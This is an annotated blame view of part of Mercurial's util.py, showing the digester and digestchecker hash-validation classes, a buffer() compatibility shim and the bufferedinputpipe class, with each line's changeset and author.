4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	206 # List of digest types from strongest to weakest
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	207 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	208
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	209 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	210 assert k in DIGESTS
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	211
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	212
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	213 class digester(object):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	214 """helper to compute digests.
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	215
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	216 This helper can be used to compute one or more digests given their name.
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	217
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	218 >>> d = digester([b'md5', b'sha1'])
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	219 >>> d.update(b'foo')
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	220 >>> [k for k in sorted(d)]
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	221 ['md5', 'sha1']
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	222 >>> d[b'md5']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	223 'acbd18db4cc2f85cedef654fccc4a4d8'
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	224 >>> d[b'sha1']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	225 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	226 >>> digester.preferred([b'md5', b'sha1'])
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	227 'sha1'
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	228 """
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	229
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	230 def __init__(self, digests, s=b''):
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	231 self._hashes = {}
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	232 for k in digests:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	233 if k not in DIGESTS:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	234 raise error.Abort(_(b'unknown digest type: %s') % k)
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	235 self._hashes[k] = DIGESTS[k]()
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	236 if s:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	237 self.update(s)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	238
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	239 def update(self, data):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	240 for h in self._hashes.values():
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	241 h.update(data)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	242
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	243 def __getitem__(self, key):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	244 if key not in DIGESTS:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	245 raise error.Abort(_(b'unknown digest type: %s') % k)
35582 72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest() Pulkit Goyal <7895pulkit@gmail.com> parents: 35517 diff changeset	246 return nodemod.hex(self._hashes[key].digest())
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	247
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	248 def __iter__(self):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	249 return iter(self._hashes)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	250
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	251 @staticmethod
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	252 def preferred(supported):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	253 """returns the strongest digest type in both supported and DIGESTS."""
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	254
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	255 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	256 if k in supported:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	257 return k
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	258 return None
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	259
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	260
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	261 class digestchecker(object):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	262 """file handle wrapper that additionally checks content against a given
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	263 size and digests.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	264
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	265 d = digestchecker(fh, size, {'md5': '...'})
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	266
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	267 When multiple digests are given, all of them are validated.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	268 """
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	269
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	270 def __init__(self, fh, size, digests):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	271 self._fh = fh
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	272 self._size = size
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	273 self._got = 0
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	274 self._digests = dict(digests)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	275 self._digester = digester(self._digests.keys())
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	276
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	277 def read(self, length=-1):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	278 content = self._fh.read(length)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	279 self._digester.update(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	280 self._got += len(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	281 return content
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	282
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	283 def validate(self):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	284 if self._size != self._got:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	285 raise error.Abort(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	286 _(b'size mismatch: expected %d, got %d')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	287 % (self._size, self._got)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	288 )
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	289 for k, v in self._digests.items():
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	290 if v != self._digester[k]:
23076 c312ef382033 i18n: add hint to digest mismatch message Wagner Bruna <wbruna@softwareexpress.com.br> parents: 23030 diff changeset	291 # i18n: first parameter is a digest name
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	292 raise error.Abort(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	293 _(b'%s mismatch: expected %s, got %s')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	294 % (k, v, self._digester[k])
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	295 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	296
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	297
11565 7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin Renato Cunha <renatoc@gmail.com> parents: 11469 diff changeset	298 try:
15657 d976b1ef6760 util: don't mess with builtins to emulate buffer() Matt Mackall <mpm@selenic.com> parents: 15656 diff changeset	299 buffer = buffer
11565 7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin Renato Cunha <renatoc@gmail.com> parents: 11469 diff changeset	300 except NameError:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	301
33549 9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	302 def buffer(sliceable, offset=0, length=None):
9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	303 if length is not None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	304 return memoryview(sliceable)[offset : offset + length]
33549 9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	305 return memoryview(sliceable)[offset:]
10756 cb681cc59a8d util: fake the builtin buffer if it's missing (jython) Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de> parents: 10487 diff changeset	306
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	307
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	308 _chunksize = 4096
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	309
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	310
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	311 class bufferedinputpipe(object):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	312 """a manually buffered input pipe
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	313
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	314 Python will not let us use buffered IO and lazy reading with 'polling' at
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	315 the same time. We cannot probe the buffer state and select will not detect
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	316 that data are ready to read if they are already buffered.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	317
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	318 This class let us work around that by implementing its own buffering
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	319 (allowing efficient readline) while offering a way to know if the buffer is
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	320 empty from the output (allowing collaboration of the buffer with polling).
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	321
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	322 This class lives in the 'util' module because it makes use of the 'os'
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	323 module from the python stdlib.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	324 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	325
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	326 def __new__(cls, fh):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	327 # If we receive a fileobjectproxy, we need to use a variation of this
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	328 # class that notifies observers about activity.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	329 if isinstance(fh, fileobjectproxy):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	330 cls = observedbufferedinputpipe
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	331
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	332 return super(bufferedinputpipe, cls).__new__(cls)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	333
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	334 def __init__(self, input):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	335 self._input = input
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	336 self._buffer = []
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	337 self._eof = False
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	338 self._lenbuf = 0
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	339
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	340 @property
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	341 def hasbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	342 """True is any data is currently buffered
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	343
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	344 This will be used externally a pre-step for polling IO. If there is
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	345 already data then no polling should be set in place."""
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	346 return bool(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	347
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	348 @property
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	349 def closed(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	350 return self._input.closed
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	351
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	352 def fileno(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	353 return self._input.fileno()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	354
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	355 def close(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	356 return self._input.close()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	357
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	358 def read(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	359 while (not self._eof) and (self._lenbuf < size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	360 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	361 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	362
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	363 def unbufferedread(self, size):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	364 if not self._eof and self._lenbuf == 0:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	365 self._fillbuffer(max(size, _chunksize))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	366 return self._frombuffer(min(self._lenbuf, size))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	367
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	368 def readline(self, args, *kwargs):
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	369 if len(self._buffer) > 1:
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	370 # this should not happen because both read and readline end with a
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	371 # _frombuffer call that collapse it.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	372 self._buffer = [b''.join(self._buffer)]
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	373 self._lenbuf = len(self._buffer[0])
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	374 lfi = -1
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	375 if self._buffer:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	376 lfi = self._buffer[-1].find(b'\n')
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	377 while (not self._eof) and lfi < 0:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	378 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	379 if self._buffer:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	380 lfi = self._buffer[-1].find(b'\n')
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	381 size = lfi + 1
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	382 if lfi < 0: # end of file
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	383 size = self._lenbuf
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	384 elif len(self._buffer) > 1:
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	385 # we need to take previous chunks into account
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	386 size += self._lenbuf - len(self._buffer[-1])
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	387 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	388
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	389 def _frombuffer(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	390 """return at most 'size' data from the buffer
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	391
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	392 The data are removed from the buffer."""
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	393 if size == 0 or not self._buffer:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	394 return b''
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	395 buf = self._buffer[0]
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	396 if len(self._buffer) > 1:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	397 buf = b''.join(self._buffer)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	398
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	399 data = buf[:size]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	400 buf = buf[len(data) :]
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	401 if buf:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	402 self._buffer = [buf]
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	403 self._lenbuf = len(buf)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	404 else:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	405 self._buffer = []
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	406 self._lenbuf = 0
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	407 return data
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	408
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	409 def _fillbuffer(self, size=_chunksize):
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	410 """read data to the buffer"""
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	411 data = os.read(self._input.fileno(), size)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	412 if not data:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	413 self._eof = True
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	414 else:
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	415 self._lenbuf += len(data)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	416 self._buffer.append(data)
